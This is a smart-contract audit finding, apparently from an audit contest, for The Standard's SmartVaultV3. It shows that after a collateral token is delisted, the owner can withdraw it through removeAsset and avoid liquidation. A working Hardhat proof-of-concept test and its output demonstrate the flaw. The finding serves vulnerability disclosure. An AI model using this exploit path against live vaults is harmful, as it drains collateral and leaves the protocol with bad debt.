The Standard

The Standard
DeFiHardhat
20,000 USDC
View results
Submission Details
Severity: low
Valid

Problematic collateral calculation and liquidation behaviour when a token is removed from the list of accepted tokens in the Token Manager

Description

If a token is removed from the list of accepted tokens in the TokenManager contract, vaults that already have debt taken out against the removed token collateral will immediately become undercollateralized.

Attempts at calling SmartVaultV3::removeCollateral to withdraw the removed token collateral will fail due to SmartVaultV3::canRemoveCollateral returning false, even if the vault has no debt.

function removeCollateral(bytes32 _symbol, uint256 _amount, address _to) external onlyOwner {
ITokenManager.Token memory token = getTokenManager().getToken(_symbol);
require(canRemoveCollateral(token, _amount), UNDER_COLL);
IERC20(token.addr).safeTransfer(_to, _amount);
emit CollateralRemoved(_symbol, _amount, _to);
}

Assuming the vault only holds the removed token as collateral for simplicity, SmartVaultV3::maxMintable will not include the removed token as part of the calculation, so the return value will be 0. Therefore, this function will always either return false or revert due to underflow.

function canRemoveCollateral(ITokenManager.Token memory _token, uint256 _amount) private view returns (bool) {
if (minted == 0) return true;
uint256 currentMintable = maxMintable();
uint256 eurValueToRemove = calculator.tokenToEurAvg(_token, _amount);
return currentMintable >= eurValueToRemove &&
minted <= currentMintable - eurValueToRemove;
}

However, the vault owner is able to withdraw their collateral with no restriction by calling SmartVaultV3::removeAsset with the removed collateral token address since it is no longer considered an accepted collateral token.

function removeAsset(address _tokenAddr, uint256 _amount, address _to) external onlyOwner {
ITokenManager.Token memory token = getTokenManager().getTokenIfExists(_tokenAddr);
if (token.addr == _tokenAddr) require(canRemoveCollateral(token, _amount), UNDER_COLL);
IERC20(_tokenAddr).safeTransfer(_to, _amount);
emit AssetRemoved(_tokenAddr, _amount, _to);
}

Here, once the token is removed from the list of accepted tokens, borrowers are able to remove their collateral and EURO debt without being liquidated even though SmartVaultV3::undercollateralised returns true.

function liquidate() external onlyVaultManager {
require(undercollateralised(), "err-not-liquidatable");
liquidated = true;
minted = 0;
liquidateNative();
ITokenManager.Token[] memory tokens = getTokenManager().getAcceptedTokens();
for (uint256 i = 0; i < tokens.length; i++) {
if (tokens[i].symbol != NATIVE) liquidateERC20(IERC20(tokens[i].addr));
}
}

Here, this function loops over the currently accepted collateral tokens and liquidates the vault. This means the removed token is never actually liquidated despite backing outstanding debt, meaning that the borrower can retain ownership of the undercollateralized loan since their debt is written off by resetting the minted state variable.

Impact

It is highly likely that the protocol will accrue bad debt immediately after removing a collateral token from the list of accepted tokens, so this is a high-severity issue.

Proof of Concept

Apply the following git diff and run the test with the command below:

diff --git a/test/smartVault.js b/test/smartVault.js
--- a/test/smartVault.js
+++ b/test/smartVault.js
@@ -34,6 +34,41 @@ describe('SmartVault', async () => {
Vault = await ethers.getContractAt('SmartVaultV3', vaultAddress);
});
+ describe('poc', async () => {
+ it('allows removal of ERC20s that are or are not valid collateral, if not undercollateralising', async () => {
+ const SUSD18 = await (await ethers.getContractFactory('ERC20Mock')).deploy('sUSD18', 'SUSD18', 18);
+ const ClUsdUsd = await (await ethers.getContractFactory('ChainlinkMock')).deploy('USD / USD');
+ await ClUsdUsd.setPrice(100000000)
+ await TokenManager.addAcceptedToken(SUSD18.address, ClUsdUsd.address);
+ const SUSD18value = ethers.utils.parseEther('1000');
+
+ await SUSD18.mint(Vault.address, SUSD18value);
+
+ let { collateral, maxMintable } = await Vault.status();
+ expect(getCollateralOf('SUSD18', collateral).amount).to.equal(SUSD18value);
+
+ await Vault.connect(user).mint(user.address, maxMintable.mul(9).div(10));
+
+ console.log("vault balance of collateral before: ", (await SUSD18.balanceOf(Vault.address)).toString());
+ console.log("user balance of collateral before: ", (await SUSD18.balanceOf(user.address)).toString());
+
+ // remove the collateral from the list of accepted tokens
+ let symbol = ethers.utils.formatBytes32String('SUSD18');
+ await TokenManager.removeAcceptedToken(symbol);
+
+ // vault is now undercollateralised
+ console.log("vault undercollateralized: ", await Vault.undercollateralised());
+ let { collateral: euroCollateral } = await Vault.status();
+ console.log("vault collateral: ", euroCollateral[0].amount.toString());
+
+ // but the collateral backing the loan can be removed
+ await expect(Vault.connect(user).removeAsset(SUSD18.address, SUSD18value, user.address));
+
+ console.log("vault balance of removed collateral token after: ", (await SUSD18.balanceOf(Vault.address)).toString());
+ console.log("user balance of removed collateral token after: ", (await SUSD18.balanceOf(user.address)).toString());
+ })
+ });
+
describe('ownership', async () => {
it('will not allow setting of new owner if not manager', async () => {
const ownerUpdate = Vault.connect(user).setOwner(otherUser.address);

Output:

❯ npx hardhat test --grep "poc"
SmartVault
poc
vault balance of collateral before: 1000000000000000000000
user balance of collateral before: 0
vault undercollateralized: true
vault collateral: 0
vault balance of removed collateral token after: 0
user balance of removed collateral token after: 1000000000000000000000
✔ allows removal of ERC20s that are or are not valid collateral, if not undercollateralising (537ms)
1 passing (3s)

Recommended Mitigation

Adjust the handling of accepted collateral tokens such that new EURO loans cannot be minted with previously accepted collateral while still ensuring that the tokens backing outstanding loans cannot be withdrawn until swapped for an alternative collateral token.

Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

remove-token

hrishibhat Lead Judge
over 1 year ago
hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

removetoken-low

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.